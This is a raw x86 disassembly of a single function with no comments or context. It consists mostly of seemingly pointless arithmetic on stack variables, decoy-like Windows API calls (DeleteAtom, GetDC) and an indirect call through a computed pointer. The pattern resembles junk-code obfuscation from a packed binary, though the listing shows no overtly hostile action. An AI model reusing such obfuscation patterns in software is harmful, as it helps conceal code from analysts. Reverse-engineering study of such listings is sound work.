mov ecx, dword [ebp - 0x38]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x94], ax
jmp 0x407def
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 0x1a0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp - 0x1dc]
add ecx, 0xb3
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0xc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xe4]
movzx edx, word [ecx]
and eax, edx
movzx ecx, word [ebp - 0x13c]
movzx edx, word [ebp - 0x114]
add ecx, edx
cmp eax, ecx
jge 0x4082aa
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x64]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x45f3a4]
mov byte [edx], cl
mov eax, dword [ebp - 0x10c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x144]
sub ecx, edx
mov word [ebp - 0x1b8], cx
movzx eax, word [ebp - 0x1d4]
movzx ecx, word [ebp - 8]
sub eax, ecx
mov word [ebp - 0x13c], ax
lea edx, [ebp - 0x49]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x84]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x170], edx
mov eax, dword [ebp - 0x7c]
add eax, 0xb3
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x98]
mov edx, dword [ecx]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x70]
or edx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x18]
shl eax, cl
cmp edx, eax
jle 0x408330
mov ecx, dword [ebp - 0x1a0]
mov edx, dword [ecx]
and edx, dword [ebp - 0xd8]
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xfc]
mov edx, dword [ebp - 0x1d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc]
mov cx, word [eax]
call fcn.00408770
jmp 0x408363
movzx edx, word [ebp - 0x13c]
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
sar edx, cl
movzx ecx, word [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
xor ecx, eax
cmp edx, ecx
jle 0x408363
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x1bc]
sub edx, dword [ecx]
mov dword [ebp - 0x1c0], edx
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x13c], ax
mov eax, dword [ebp - 0x28]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x15a]
add ecx, edx
mov byte [0x45e406], cl
movzx eax, word [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0xdc], ax
lea ecx, [ebp - 0xc8]
push ecx
call dword [ebp - 0x1dc]
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0xb0], ecx
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x1bc]
sub eax, dword [ebp - 0x174]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0x128], 0x45f3a8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xec]
sub edx, dword [ecx]
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x8c]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1d0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d0]
mov edx, dword [ebp - 0x8c]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x1bc], edx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xbc]
mov eax, dword [edx]
push eax
call fcn.00406040
add esp, 8
jmp 0x4084c3
mov ecx, dword [ebp - 0x54]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x199]
or edx, eax
movzx eax, byte [ebp - 0x29]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ecx]
shl eax, cl
cmp edx, eax
je 0x4084c3
movzx edx, byte [ebp - 0x29]
movzx eax, byte [ebp - 0x1e5]
and edx, eax
mov byte [ebp - 0x1dd], dl
movzx ecx, word [ebp - 0x1d4]
movzx edx, word [ebp - 0x94]
sub ecx, edx
mov eax, dword [ebp - 0x38]
mov word [eax], cx
mov ecx, dword [ebp - 0xec]
sub ecx, dword [ebp - 0x158]
mov dword [ebp - 0xf4], ecx
mov edx, dword [ebp - 0x1c0]
add edx, dword [ebp - 0x50]
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x50]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x84]
mov ecx, dword [eax]
call fcn.00405f70
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x1c4]
sar edx, cl
mov dword [ebp - 0x1c0], edx
movsx eax, word [ebp - 0x160]
movsx ecx, word [ebp - 0x3c]
sub eax, ecx
mov word [ebp - 0x144], ax
mov ecx, dword [ebp - 8]
call fcn.00408770
mov edx, dword [ebp - 0xd4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x64]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], al
mov edx, dword [ebp - 0x14c]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x101]
push ecx
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
push eax
call fcn.004086f0
add esp, 0xc
jmp 0x40857d
mov ecx, dword [ebp - 0xd4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x101]
shl edx, cl
movsx eax, byte [ebp - 0x151]
movsx ecx, byte [0x45e404]
or eax, ecx
cmp edx, eax
jge 0x40857d
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x1c0]
and eax, dword [edx]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x101]
mov eax, dword [ebp - 0xd4]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x45e404], dl
mov edx, dword [ebp - 0x28]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x14c]
movzx edx, word [ecx]
push edx
movzx eax, word [ebp - 8]
push eax
mov ecx, dword [ebp - 0xd4]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [eax]
push ecx
call fcn.00406010
add esp, 0x14
mov edx, dword [ebp - 0x10]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xe8]
shr eax, cl
mov dword [ebp - 0xf4], eax
movzx ecx, byte [ebp - 0xb5]
movzx edx, byte [0x45f3a2]
add ecx, edx
mov byte [ebp - 0x1e5], cl
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
movzx edx, word [ebp - 8]
sub ecx, edx
mov word [ebp - 0x1d4], cx
mov eax, dword [ebp - 0x14c]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x50]
push eax
call fcn.00405f30
add esp, 0x14
jmp 0x408660
mov ecx, dword [ebp - 0x124]
push ecx
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xd8]
add eax, dword [edx]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1d4]
push edx
mov eax, dword [ebp - 0xd8]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
push edx
call fcn.00405f30
add esp, 0x14
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x34]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xd8]
shl eax, cl
mov dword [ebp - 0x1c0], eax
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x10]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd4]
mov cl, byte [ecx]
call fcn.00408720
jmp 0x4086b6
cmp dword [ebp - 0x150], 0x3826
jne 0x4086b6
mov ecx, 0x14
call fcn.00408770
movsx edx, byte [ebp - 0x151]
movsx eax, byte [0x45e404]
xor edx, eax
mov ecx, dword [ebp - 0xd4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x150]
push edx
mov eax, dword [ebp - 0xd8]
push eax
call fcn.00405fd0
add esp, 8
mov eax, dword [ebp - 0x174]
mov esp, ebp
pop ebp
ret